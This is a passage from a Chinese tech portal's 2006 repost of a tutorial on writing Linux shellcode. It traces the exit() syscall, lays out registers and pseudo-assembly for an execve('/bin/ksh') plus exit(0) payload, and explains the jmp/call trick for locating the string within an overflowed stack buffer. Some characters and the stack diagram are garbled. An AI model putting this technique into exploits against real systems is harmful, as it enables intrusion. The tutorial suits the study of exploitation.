| 域名空间 下载中心 社区论坛 信息公告 MY小屋 |
![]() |
联系我们 设为首页 加入收藏 |
|
首页 | 新闻资讯 | 编程开发 | 网页设计 | 图形图象 | 网络媒体 | 网站模板 | 数 据 库 | 投稿 论坛 | 操作系统 | 系统优化 | 网络安全 | 黑客技术 | 硬件学堂 | 硬件报价 | 服 务 器 | 地图 专题 | 应用软件 | 聊天通讯 | Q Q 专栏 | 建站经验 | 在线工具 | 站长Club | 注 册 表 | 旧版 社会 | 游戏娱乐 | 设计欣赏 | 疑难解答 | 社区论坛 | 韩国素材 | 素材图库 | 广告服务 | 服务 |
| 新版上线![旧版] | |||||
注:打开慢时请稍等
书写Linux下自己的shellcodehttp://www.iyit.net 日期:2006-4-29 23:23:54 来源: 点击: |
0x804b97d %26lt;_exit+13%26gt;: movl %edx,%ebx 0x804b97f %26lt;_exit+15%26gt;: cmpl $0xfffff001,%eax 0x804b984 %26lt;_exit+20%26gt;: jae 0x804bc60 %26lt;__syscall_error%26gt; End of assembler dump. 9. 研究 exit() 函数的执行过程 我们可以看到,exit系统调用将0x1放到EAX中(这是它的syscall索引值),将退出码放 入EBX中,然后执行"int $0x80"。大部分程序正常退出时返回0值,我们也在EBX中放入0。 现在我们所要完成的工作又增加了三项: a) 在内存中有以NULL结尾的字符串"/bin/ksh" b) 在内存中有"/bin/ksh"的地址,其后是一个 unsigned long 型的NULL值 c) 将0xb拷贝到寄存器EAX中 d) 将"/bin/ksh"的地址拷贝到寄存器EBX中 e) 将"/bin/ksh"地址的地址拷贝到寄存器ECX中 f) 将 NULL 拷贝到寄存器EDX中 g) 执行中断指令int $0x80 h) 将0x1拷贝到寄存器EAX中 i) 将0x0拷贝到寄存器EBX中 j) 执行中断指令int $0x80 10. 整个过程的伪汇编代码 下面我们用汇编语言完成上述工作。我们把"/bin/ksh"字符串放到代码的后面,并且会 把字符串的地址和NULL加到字符串的后面: ------------------------------------------------------------------------------ movl string_addr,string_addr_addr #将字符串的地址放入某个内存单元中 movb $0x0,null_byte_addr #将null放入字符串"/bin/ksh"的结尾 movl $0x0,null_addr #将NULL放入某个内存单元中 movl $0xb,%eax #将0xb拷贝到EAX中 movl string_addr,%ebx #将字符串的地址拷贝到EBX中 leal string_addr_addr,%ecx #将存放字符串地址的地址拷贝到ECX中 leal null_string,%edx #将存放NULL的地址拷贝到EDX中 int $0x80 #执行中断指令int $0x80 (execve()完成) movl $0x1, %eax #将0x1拷贝到EAX中 movl $0x0, %ebx #将0x0拷贝到EBX中 int $0x80 #执行中断指令int $0x80 (exit(0)完成) /bin/ksh string goes here. #存放字符串"/bin/ksh" ------------------------------------------------------------------------------ 11. 观察堆栈分布情况 现在的问题是我们并不清楚我们正试图exploit的代码和我们要放置的字符串在内存中 的确切位置。一种解决的方法是用一个jmp和call指令。jmp和call指令可以用IP相关寻址, 也就是说我们可以从当前正要运行的地址跳到一个偏移地址处执行,而不必知道这个地址 的确切数值。如果我们将call指令放在字符串"/bin/ksh"的前面,然后jmp到call指令的位置, 那么当call指令被执行的时候,它会首先将下一个要执行指令的地址(也就是字符串的地址 )压入堆栈。我们可以让call指令直接调用我们shellcode的开始指令,然后将返回地址(字符 串地址)从堆栈中弹出到某个寄存器中。假设J代表JMP指令,C代表CALL指令,S代表其他指令, s代表字符串"/bin/ksh",那么我们执行的顺序就象下图所示: 内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存 低端 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 高端 buffer sfp ret a b c %26lt;------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) 栈顶 栈底 编辑: [发送给好友] [打印本页] [关闭窗口] [返回顶部] 上一篇:Linux开发人员发布WindowsXP仿真桌面 下一篇:FreeBSDshellcode编写攻略 转载请注明来源:www.iyit.net 特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。 |
| 最新更新 | 热点排行 | 推荐新闻 | |||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||
| 友情链接 | ||||||
| 设置首 页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接 |
| |||||||